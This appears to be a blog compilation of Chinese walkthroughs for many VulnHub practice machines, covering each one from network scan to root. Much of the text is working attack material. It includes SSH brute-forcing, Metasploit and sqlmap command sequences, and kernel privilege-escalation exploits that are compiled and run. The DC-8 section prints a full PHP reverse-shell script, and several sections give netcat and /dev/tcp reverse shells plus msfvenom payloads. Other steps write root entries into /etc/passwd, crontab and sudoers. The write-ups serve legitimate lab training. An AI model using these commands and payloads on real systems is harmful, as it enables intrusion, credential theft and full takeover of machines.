获得shell.php的代码，然后压缩为zip，上传，来到/courses/tmpUnzipping/ 看到了我们的shell，接下来配置我们的msf了

python -c "import pty;pty.spawn('/bin/bash')" 获取交互，找到第一个flag uname -a，查看内核信息，得到版本为3.11.0 脏牛提权，为40616.c，cp /usr/share/exploitdb/exploits/linux/local/40616.c . kali中用python的简易服务器：python -m SimpleHTTPServer 8000

最后编译文件gcc -o bmth 40616.c -pthread

参考文章：从零到一渗透测试实例：VulnUni:1.0.1 通关vulnhub靶机(九)-vulnuni

Lampiao

先扫ip

再用nmap扫描端口，开了22，80和1898端口

查看80端口，发现只有一个图片，没有什么有用的信息。那么查看1898端口这里猜测tiago和Eder应该是两个用户名，那么先把两个用户名放在username.txt里面然后用cewl爬虫该网页信息放到word.txt文本里面 cewl -w word.txt http://192.168.239.148:1898/?q=node/1 Kali Linux字典生成工具Cewl使用全指南

用hydra尝试爆破22端口hydra -L username.txt -P word.txt ssh://192.168.239.148

得到了账号密码，使用ssh连接

接下来提权，sudo -l，失败，那么uname -a Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)

这里我们利用的是CVE-2016-5195：脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞漏洞影响范围：Linux Kernel >= 2.6.22 的所有 Linux 系统意味着从 2007 年发布 2.6.22 版本开始，直到2016年10月18日为止，这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

使用scp上传 scp ./40847.cpp tiago@192.168.239.148:/tmp c++格式的文件，先编译，编译命令g++ -Wall -pedantic -O2 -std=c++11 -pthread -o bmth 40847.cpp -lutil

-Wall 一般使用该选项，允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2 编译器的优化选项的4个级别，-O0表示没有优化,-O1为缺省值，-O3优化级别最高
-std=c++11 就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时，需要链接pthread库
-o bmth gcc生成的目标文件,名字为bmth

通关vulnhub靶机(十)-lampiao vulnhub|渗透测试lampiao

EVM: 1

一开始ip找不到(雾)，看大佬文章找到解决方法：EVM:1 我这里是vim /etc/network/interfaces 重启网卡服务/etc/init.d/networking restart，然后使用netdiscover扫描就可以得到ip了

nmap扫描端口 nmap -A -sS -sV -v -p- 192.168.239.149，主要开了22，53，80，110，139，143以及445端口

先访问web端口，发现存在wordpress

Kali(渗透工具):18---WPScan的使用（WordPress扫描工具）用wpscan扫一波wpscan --url http://192.168.239.149/wordpress -e u 扫描到一个用户，使用密码进行爆破 wpscan --url http://192.168.239.149/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt 得到用户密码，接下来使用msf上传shell

use exploit/unix/webapp/wp_admin_shell_upload
set RHOST 192.168.239.149
set PASSWORD 24992499
set USERNAME c0rrupt3d_brain
set TARGETURI /wordpress
run

python -c "import pty;pty.spawn('/bin/bash')"获取交互最后发现有访问root目录下的权限，直接找到root密码参考：通关vulnhub靶机(六)-EVM:1

Minouche: 1

ARP扫描arp-scan -l 由于vm获取不到ip，那么使用VirtualBox设置桥接模式进行学习，ip直接给出来了 nmap -A -sS -sV -v -p- 192.168.50.15

发现开放了22，80，110端口，那么可以使用dirb扫描目录康康发现了是使用WordPress的CMS，那么使用wpscan扫描wpscan --url http://192.168.50.15 -e u

扫描到了一个账号kitty，然后使用爆破密码未果，换一个思路，查看一下插件，--plugins-detection，默认设置为“被动”，用mixed更全面 wpscan --url http://192.168.50.15 -e u,p --plugins-detection mixed 发现有一个：关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用使用msf搜索相关漏洞searchsploit InfiniteWP 使用msf来进行渗透测试：

use exploit/unix/webapp/wp_infinitewp_auth_bypass
show options
set RHOSTS 192.168.50.15
set LHOST 192.168.50.209
set USERNAME kitty
run

发现根目录下存在一个kitty.txt，康康告诉了我们密码的格式，那么生成密码，猫的名字为：Minouche，密码的组成是$+Minouche+19xx/20xx这样子

crunch 13 13 -t "$"Minouche19%% -o 1.txt
crunch 13 13 -t "$"Minouche20%% -o 2.txt

hydra -l kitty -P 2.txt ssh://192.168.50.15，得到密码为$Minouche2005

那么ssh连上ssh -o StrictHostKeyChecking=no kitty@192.168.50.15，接下来进行提权同时利用sudo,suid,计划任务提权都没有成功，所以只能从解压文件入手，scp到kali scp kitty@192.168.50.15:~/android.zip ~ 解压发现有很多的db文件，使用kali自带的数据库工具慢慢找，最后找到关键信息

使用YouWillNeverGue$$This登录即可获取root权限su root 参考：通关vulnhub靶机(五)-Minouche: 1 vulnhub靶机---Minouche

DC: 1

netdiscover -r 192.168.239.132/16 扫描得到ip 然后扫描端口 nmap -A -sS -sV -v -p- 192.168.239.157 发现四个开放的端口，先访问80 使用whatweb查一查cms，whatweb http://192.168.239.157/ 是Drupal CMS版本为7，使用msf搜索一下，找到一个SQL注入的payload：Drupal HTTP Parameter Key/Value SQL Injection 直接用msf一把梭

use exploit/multi/http/drupal_drupageddon
show options
set rhosts 192.168.239.157
run

python -c "import pty;pty.spawn('/bin/bash')"获取交互式shell 得到flag1，并且提示cms的config，上网查找配置文件位置 cat sites/default/settings.php 得到flag2，还有一个数据库的账号密码dbuser R0ck3t 得到数据库账号密码即可登录数据库康康admin的信息，但发现密码是cms特有的加密方式使用searchsploit drupal查看有没有可用的exp 发现一个可以增加管理员权限的py，用法比较简单只要指定域名，然后输入账号密码就行了 python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.239.157 -u admin2 -p admin2 找到flag3 cat /etc/passwd查看一下用户，发现有一个用户flag4,再结合前面的提示，进行ssh爆破密码 hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.239.157 得到密码orange，ssh连接ssh -o StrictHostKeyChecking=no flag4@192.168.239.157，得到flag4 最后进行提权find / -perm -u=s -type f 2>/dev/null查看具有suid权限的命令发现存在find命令，很常见的提权手段，Linux提权小结

touch test
find test -exec whoami \;

通关vulnhub靶机(十七)-DC:1

DC: 2

探测ip：netdiscover -r 192.168.239.132/16 题目说需要改一下host文件，那么gedit /etc/hosts，修改一下即可访问

探测端口nmap -A -sS -sV -v -p- 192.168.239.150

开了80和7744默认端口，那么首先访问80端口查看网页信息，有一个flag分页，访问

flag1的提示用cewl，那么cewl http://dc-2/ -w 1.txt，得到1.txt 由于是wordpress建的站，使用wpscan，wpscan --url http://dc-2/ -eu，得到了三个用户，保存为2.txt

用wpscan启动爆破功能最后跑出2个账号出来wpscan --url http://dc-2/ -U 2.txt -P 1.txt

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

尝试登录ssh，ssh -o StrictHostKeyChecking=no tom@192.168.239.150 -p 7744，成功发现权限太小，大多数命令不能执行参考：A way escape rbash

BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

由于tom的账号无权限，那么切换成jerry的账号su jerry 发现使用root权限运行了git 参考：linux提权方法(不断总结更新)

sudo git help config
!/bin/bash

参考：通关vulnhub靶机(二)-DC:2

DC: 3.2

netdiscover -r 192.168.239.132/16 ip为192.168.239.154，使用nmap扫描 nmap -A -sS -sV -v -p- 192.168.239.154 发现只有80端口，那么访问，用whatweb探测，发现是Joomla CMS 既然是个Joomla的网站可以访问默认的/README.txt来查看版本信息，可以知道版本为3.7 启动一下MSF，搜索一下Joomla 3.7可以发现存在一些SQL的漏洞 searchsploit Joomla 3.7 查看一下发现是sqlmap的使用方法，直接一把梭

python sqlmap.py -u "http://192.168.239.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs --batch
python sqlmap.py -u "http://192.168.239.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns

这里自动会出错，使用手动

python sqlmap.py -u "http://192.168.239.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump

+-------+--------------------------------------------------------------+
| name  | password                                                     |
+-------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+-------+--------------------------------------------------------------+

使用john进行爆破得到admin:snoopy，进行登录后台http://192.168.239.154/administrator/ 接下来就寻找可以修改源码的地方最后在Extensions/template/template下发现可以更改代码写入反弹shell的php代码php-reverse-shell.php 成功得到shell，进行交互

python -c 'import pty;pty.spawn("/bin/bash")'

接下来提权uname -a 和 cat /etc/issue查看内核和版本号是Ubuntu 16.04 和 4.40-21-generic，找到提权漏洞Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation 需要下载https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip 这里发现无法访问，解决方法：修改Hosts临时解决GitHub的raw.githubusercontent.com无法链接的问题然后成功下载39772.zip，使用python服务，python -m SimpleHTTPServer 靶机wget下载：wget 192.168.239.132:8000/exploit.tar

tar xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

参考：通关vulnhub靶机(十四)-DC:3.2

DC: 4

还是先用netdiscover探测一波靶机ip netdiscover -r 192.168.239.132/16 再用nmap扫描端口 nmap -A -sS -sV -v -p- 192.168.239.158 发现开放了22和80端口，直接访问80，发现是一个登录界面使用sqlmap发现没有注入，使用bp爆破试试，发现密码是happy，然后就登录进去了发现List Files会执行ls -l，那么bp抓包康康能不能修改命令直接netcat一句话反弹shell，空格用+表示 nc+-e+/bin/bash+192.168.239.132+6666 得到shell，python进行交互python -c "import pty;pty.spawn('/bin/bash')" 然后来到jim目录下发现一个backups继续跟进以后发现一个old-passwords，里面可能是一些密码，用户名应该就是对应的jim 保存为1.txt，然后用hydra爆破ssh密码，成功得到账号密码 hydra -l jim -P 1.txt ssh://192.168.239.158

login: jim
password: jibril04

ssh -o StrictHostKeyChecking=no jim@192.168.239.158 cat一下mbox好像是root给jim的信，最后发现到/var/mail目录下cat一下jim发现charles的账号密码信息

login: charles
password: ^xHhA&hvim0y

成功登录charles账号，最后进行提权先用sudo -l可以看到一个以root运行的teehee，用--help可以查看使用命令可以尝试添加一个账号然后设置成root权限就可以了，首先cat /etc/passwd查看root用户密码格式

root:x:0:0:root:/root:/bin/bash

同理将语句设置成这样子，即admin::0:0:root:/root:/bin/bash，::是代表无密码

参考：通关vulnhub靶机(十八)-DC:4

DC: 8

首先扫描ipnetdiscover -r 192.168.239.132/16

得到ip为192.168.239.151，那么使用namp扫描 nmap -A -sS -sV -v -p- 192.168.239.151

接下来使用一个工具，whatweb 网站指纹识别软件，发现是个DrupalCMS

然而发现点开链接存在sql注入，没有任何过滤，直接一把梭，得到账号密码 sqlmap -u 192.168.239.151/?nid=3 -D d7db -T users -C name --dump --batch

sqlmap -u 192.168.239.151/?nid=3 -D d7db -T users -C pass --dump --batch

admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

需要破解密码，使用john，得到一个密码turtle

访问robots.txt发现给出了目录

发现有一个/user/login/，使用john即可登录进去，进去一顿乱操作，最后看师傅文章发现是 http://192.168.239.151/#overlay=node/3/webform/configure，可以php反弹shell

先到/usr/share/webshells/php/php-reverse-shell.php把里面的代码复制下来

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.239.132';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

在contact随便输入点东西提交，nc -nlvp 6666 接收，我这里卡了好久，才发现是删除了<p></p>，这不能删除。也可以执行nc反弹shell

<p>GETSHELL</p>
<?php
system("nc -e /bin/sh 192.168.239.132 6666");
?>

python -c "import pty;pty.spawn('/bin/bash')" 获取交互

使用find命令查找具有suid权限的命令，find / -perm -u=s -type f 2>/dev/null 找到一个exim4命令，exim4是一款在unix系统上使用的邮件服务，exim4在使用时具有root权限查看版本信息：/usr/sbin/exim4 --version，版本为4.89

直接msf查找漏洞，找到46996.sh脚本文件

searchsploit exim

cp /usr/share/exploitdb/exploits/linux/local/46996.sh getShell.sh
cat getShell.sh
python -m SimpleHTTPServer

在靶机上下载文件

wget http://192.168.239.132:8000/getShell.sh
chmod 777 getShell.sh

直接执行sh脚本：./getShell.sh -m netcat

这里报错了，解决方案：解决/bin/bash^M: bad interpreter问题 vim getShell.sh，set ff查看fileformat，在末行命令行中修改文件格式：set ff=unix 执行sh，然后再写一条反弹shell进去，一定要快，nc -e /bin/sh 192.168.239.132 5555 参考：通关vulnhub靶机(一)-DC:8

DC: 9

netdiscover -r 192.168.239.132/16 nmap -A -sS -sV -v -p- 192.168.239.152 开放了22端口和80端口在search.php抓包，发现存在sql注入，sqlmap一把梭在users数据库查找到了很多用户，但没有admin，那么查找Staff数据库找到了admin的密码 md5在线解密得到密码为transorbital1，即可登录后台发现有个提示File does not exist这里猜测是本地文件包含漏洞尝试使用/etc/passwd ?file=../../../../../etc/passwd 注意到一开始用nmap扫的时候22端口是一个处于过滤状态。并不是处于开放的状态。这里靶机可能对于22端口做了一定的防护保护 SSH 的三把锁 ../../../../etc/security/access.conf 决定允许哪些用户登录

结一下就是有种技术叫端口敲门。只有敲对了几个端口号以后22端口才能重新处于开放状态。而需要敲哪几个特定的端口是/etc/knockd.conf决定的。这里直接访问/etc/knockd.conf,可以得知端口为7469，8475和9842

nmap -p 7469,8475,9842 192.168.239.152 直接用nmap扫描这3个端口，然后发现22端口变为open状态使用hydra爆破这三个端口，账号密码为之前sqlmap跑出来的数据 hydra -L user.txt -P passwd.txt ssh://192.168.239.152 可以爆出3个用户和密码 ssh -o StrictHostKeyChecking=no janitor@192.168.239.152 ssh登录janitor用户然后ls -al发现一些隐藏目录，跟进.secrets-for-putin，发现有个passwords-found-on-post-it-notes.txt文件，可能还是密码，再次进行爆破多出一个账号login:fredf password:B4-Tru3-001 ssh登录，进行提权sudo -l，发现可以以root权限运行/opt/devstuff/dist/test/test 的文件，而且给了一个用法 read append。有个想法就是既然可以以root权限运行read append,理论上是可以添加一个root权限的账号来读取flag的

发现test.py，读取一下

#!/usr/bin/python
import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

手动生成/etc/shadow文件中的密码本地加密一波perl -e 'print crypt("bmth", "salt")'得到sam0c/mLMqJTU

echo 'bmth:sam0c/mLMqJTU:0:0::/root:/bin/bash' > /tmp/1.txt
sudo ./test /tmp/1.txt /etc/passwd
su bmth
Password: bmth

还可以写/etc/crontab

echo "* * * * * root chmod 4777 /bin/sh" > /tmp/2.txt
sudo ./test /tmp/2.txt /etc/crontab
/bin/sh

/etc/sudoers

echo 'fredf ALL=(ALL:ALL) ALL' > /tmp/3.txt
sudo ./test /tmp/3.txt /etc/sudoers
sudo /bin/bash

具体可参考下面文章Vulnhub DC-9靶机渗透

参考：通关vulnhub靶机(十一)-DC:9

Jarbas: 1

netdiscover -r 192.168.239.132/16得到靶机ip nmap -A -sS -sV -v -p- 192.168.239.153扫描端口开放了22，80，3306和8080 发现8080端口是一个登录界面首先扫描目录，dirb http://192.168.239.153 发现并没有什么有用的信息，使用-X参数，在每个字典的后面添加一个后缀 dirb http://192.168.239.153 -X .html 扫描出来了一个access.html，发现是一些账号密码，使用md5解密最后解出来是

tiago:italia99
trindade:marianna
eder:vipsu

在8080端口用eder登录成功使用msf搜索一下Jenkins，发现存在很多漏洞，这里选择Script-Console Java Execution

use exploit/multi/http/jenkins_script_console
show options
set target 1
set rhosts 192.168.239.153
set rport 8080
set TARGETURI /
set username eder
set password vipsu
set payload linux/x86/shell/reverse_tcp
exploit

生成交互式shell python -c 'import pty; pty.spawn("/bin/bash")' 查看计划任务cat /etc/crontab，发现有一个每五分钟执行的命令，查看一下文件

#!/bin/bash
rm -rf /var/log/httpd/access_log.txt

发现这个脚本的权限是777 先下载CleaningScript.sh文件，然后更改里面的内容把里面的东西换成一个反弹shell，最后再重新上传 set payload linux/x86/meterpreter/reverse_tcp

#!/bin/bash
bash -i>& /dev/tcp/192.168.239.132/6666 0>&1

重新上传上去最后监听端口nc -lvnp 6666，最后等待一会就反弹回来一个root权限的shell了

参考：通关vulnhub靶机(十二)-Jarbas:1

bossplayersCTF: 1

用VirtualBox进行学习，设置为桥接模式 netdiscover -r 192.168.50.209/16，直接查找ip，PCS那个就是我们的靶机ip nmap -A -sS -sV -v -p- 192.168.50.3 开了22和80端口，使用dirb扫描目录，发现存在robots.txt dirb http://192.168.50.3 得到

super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==

使用base64解码得到lol try harder bro，是个提示，继续努力。。。。。。那么我们继续收集信息，发现首页最后有一串编码，base64解码三次得到workinginprogress.php 因为有个test ping command,所以猜测可能存在命令执行漏洞直接反弹一个shellnc -e /bin/bash 192.168.50.209 6666 nc -lvnp 6666接收交互式shell python -c 'import pty; pty.spawn("/bin/bash")' 最后进行提权，首先查找可用root权限执行的命令 find / -perm -u=s -type f 2>/dev/null 发现存在find命令，Linux提权小结

如果find以SUID权限运行，所有通过find执行的命令都会以root权限运行

touch test
find test -exec whoami \;
find test -exec cat /root/root.txt \;

参考通关vulnhub靶机(十三)-bossplayersCTF:1

Geisha: 1

netdiscover -r 192.168.239.132/16 得到ip，那么使用nmap扫描nmap -A -sS -sV -v -p- 192.168.239.155

尝试的访问了一下各HTTP端口，然而都是那一个图片，没有什么卵用，使用dirb扫描发现有一个info.php，访问发现只有一个1，啊这。。。接下来我扫描了其他端口发现存在passwd。发现存在root和geisha两个用户没啥信息了，由于开放了22端口，直接爆破 hydra -l geisha -P /usr/share/wordlists/rockyou.txt ssh://192.168.239.155 ssh -o StrictHostKeyChecking=no geisha@192.168.239.155 find / -perm -u=s -type f 2>/dev/null查找SUID权限, 发现一个奇怪的东西base32 /usr/bin/base32 --h看到使用说明

base32可以直接读/root里的文件，之前拿到passwd文件得知geisha和root可以ssh登录，那么也就是说root文件夹下.ssh中存在ssh连接的私钥，私钥名称为id_rsa，尝试读取一下

base32 /root/.ssh/id_rsa|base32 -d 一定要给权限

vim id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@192.168.239.155

参考：通关vulnhub靶机(十五)-Geisha: 1

sunset: sunrise

扫ip：netdiscover -r 192.168.239.132/16 扫端口：nmap -A -sS -sV -v -p- 192.168.239.156，发现开了22，80，3306和8080端口用Nikto扫8080端口，nikto -h http://192.168.239.156:8080/，Nikto 扫描发现可以扫到有一个目录穿越漏洞并顺便附上payload出来 Payload: /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 访问根目录发现home目录下存在sunrise文件夹，进入到sunrise以后有个user.txt可以读取到里面的内容，应该是user的flag 回到weborf没有发现有用信息，使用dirb扫描康康

dirb http://192.168.239.156:8080/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome/weborf/

逐一查看以后发现.mysql_history有账号密码回显

账号：weborf
密码：iheartrainbows44

利用该账号可以成功登录SSH 由于在一开始用nmap探测的时候已经开启了3306的数据库端口这里尝试进入一波挖掘信息 mysql -u weborf -p 进入mysql select * from user; 得到所有user信息得到

账号：sunrise
密码：thefutureissobrightigottawearshades

那么可以切换为sunrise用户，接下来尝试提权先用sudo -l查看有没有特殊权限结果发现是wine，Wine Privilege Escalation Linux 首先用msf生成程序msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.132 lport=6666 -f exe -o /root/666.exe 使用scp上传到我们的靶机 scp 666.exe sunrise@192.168.239.156:/home/sunrise 最后配置我们的msf

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 6666
set lhost 192.168.239.132
run

最后得到flag

参考：通关vulnhub靶机(十六)-sunset:sunris [vulnhub]sunset: sunrise Writeup

LAMPSecurity: CTF4

netdiscover -r 192.168.239.132/16探测ip nmap扫描端口，nmap -A -sS -sV -v -p- 192.168.239.159 开了22，25，80和631端口，发现在blog页面存在sql注入，sqlmap一把梭

sqlmap -u "http://192.168.239.159/index.html?page=blog&title=Blog&id=1" --dbs --batch
sqlmap -u "http://192.168.239.159/index.html?page=blog&title=Blog&id=1" -D calendar --tables --batch
sqlmap -u "http://192.168.239.159/index.html?page=blog&title=Blog&id=1" -D calendar -T phpc_users --columns --dump --batch

得到账号密码，尝试登录ssh，最后发现dstevens和achen能够登录

username:dstevens    password:ilike2surf
username:achen    password:seventysixers

最后直接ssh -o StrictHostKeyChecking=no achen@192.168.239.159 发现sudo -l是ALL，直接sudo su root可以无密码切换

参考：通关vulnhub靶机(十九)-LAMPSecurity:CTF4

LAMPSecurity: CTF5

netdiscover -r 192.168.239.132/16 得到ip，nmap扫描端口nmap -A -sS -sV -v -p- 192.168.239.160,开放了22，25，80，110，111，139，143，445，901等端口访问80端口，我这里使用awvs12来康康有哪些漏洞，发现存在任意文件读取和sql注入并且在blog那里看到cms是NanoCMS 这里有个文章：NanoCMS Multiple Vulnerabilities ，那么访问/data/pagesdata.txt即可获取admin密码拿去md5解密可以得到admin的密码输入admin的账号密码以后成功登录,点击new page看看能不能上传反弹shell，写入反弹shell的代码 https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php 最后nc -lvnp 6666接收即可得到shell 最后进行提权，用uname -a查看一下内核版本号，得到：

Linux localhost.localdomain 2.6.23.1-42.fc8 #1 SMP Tue Oct 30 13:55:12 EDT 2007 i686 i686 i386 GNU/Linux

Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5) 到exploitdb里面找到相关版本的提权漏洞exp下载然后再传上去提权，这个靶机比较简单的是直接查找密码 grep -R -I password /home/* (grep是用来搜寻文件或者是匹配内容用的，-R是代表会递归指定目录下的所有文件并且匹配其内容在/home目录下的所有文件这里的内容指的是password，然后-i是代表忽略大小写) 直接cat即可获取root密码，为50$cent 最后使用root账户登录即可

通关vulnhub靶机(二十)-Lampsecurity:CTF5

Hackademic: RTB1

同理首先查找ip，netdiscover -r 192.168.239.132/16 nmap探测一波端口，nmap -A -sS -sV -v -p- 192.168.239.161，开了22和80端口进入网站，发现存在sql注入，直接sqlmap一把梭

sqlmap -u http://192.168.239.161/Hackademic_RTB1/?cat=1 --dbs --batch
sqlmap -u http://192.168.239.161/Hackademic_RTB1/?cat=1 -D wordpress --tables --batch
sqlmap -u http://192.168.239.161/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --dump --batch

得到账号密码，那么登录wordpress后台，输入默认的登录路径wp-login.php，最后发现GeorgeMiller权限比较大可以上传和修改文件找到能上传php文件的地方用https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php，反弹shell nc -lvnp 6666 得到webshell，python -c 'import pty;pty.spawn("/bin/bash")'切换shell 发现sudo -l用不了，使用uname -a查看内核

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

通过searchsploit工具来查找可利用的exp，kali 自带本地版本的 Exploit-DB 库，包含了各种 exp 和代码 searchsploit 是一个用于Exploit-DB的命令行搜索工具，它还允许你随身带一份Exploit-DB的副本

// 搜索本地提权漏洞（Local Privilege Escalation）
searchsploit Local Privilege Escalation | grep -i linux | grep -i kernel | grep 2.6.31

得到exp位置/usr/share/exploitdb/exploits/linux/local/40812.c，但这个用不了，最后找到一个15285.c的exp：Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation 用python -m SimpleHTTPServer 80开启http服务，在/tmp目录下下载文件最后编译执行结课获取root权限

gcc 15285.c -o bmth
./bmth

参考：Hackademic: RTB1 通关vulnhub靶机(二十一)-Hackademic:RTB1

The Library: 1

netdiscover -r 192.168.239.132/16 用nmap扫一波端口,只开了21和80端口，nmap -A -sS -sV -v -p- 192.168.239.163 使用dirb http://192.168.239.163/ /usr/share/dirb/wordlists/big.txt -X .php 发现只扫出来一个library.php，用Burp抓包发现{"lastviewed"=="Netherlands"} 发现可能是cookie注入，最后跑出账号密码

lastviewed="{"lastviewed"=="'Netherlands' and '1'='1'--+"}"
lastviewed="{"lastviewed"=="'Netherlands' union select database()"}"
lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library'"}"
lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library' and table_name not in ('countries')"}"
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access'"}"
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password')"}"
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username')"}"
lastviewed="{"lastviewed"=="'Netherlands' union select username from access"}"
lastviewed="{"lastviewed"=="'Netherlands' union select password from access"}"
lastviewed="{"lastviewed"=="'Netherlands' union select service from access"}"

发现ftp的username为globus,password为AroundTheWorld，这里使用一个工具：FileZilla连接ftp，写入php一句话反弹shell，注意权限为777 最后nc -lvnp 6666即可获取shell，发现library.php里有个pass为password 尝试使用password登录root，成功得到root权限参考：通关vulnhub靶机(二十三)-The Library:1

The Library: 2

首先探测ip：netdiscover -r 192.168.239.132/16 nmap -A -sS -sV -v -p- 192.168.239.133，只开了21和80端口 dirb http://192.168.239.133 -X .php 访问发现library.php发现有点像sql注入，使用sqlmap直接跑失败，尝试抓包看一下最后发现把请求改为POST成功 python3 sqlmap.py -r 1 -D library -T access --columns --dump --batch 得到账号密码，由于开了21端口直接上FileZilla 接下来上传一个php反弹shell，但发现.php被禁止上传，更改后缀为.php5,也可以使用大写.PHP。(注意赋予权限为777) 进行提权，在浏览信息过程中到/var/mail/welcome那里发现可以直接得到root的密码直接su root即可

参考:通关vulnhub靶机(三十三)-The Library:2

Kioptrix: Level 1.2 (#3)

好久没打靶机了，快考试了随便打一打吧 netdiscover -r 192.168.239.132/16 ip为192.168.239.164，需要我们先改改host文件 nmap端口扫描一波：nmap -A -sS -sV -v -p- 192.168.239.164，发现只有22和80端口首页存在login，直接点击发现是LotusCMS 直接使用msf，然后找一下search LotusCMS的漏洞，发现一个

use exploit/multi/http/lcms_php_exec
show options
set payload php/reverse_php
set rhost 192.168.239.164
set uri /
run

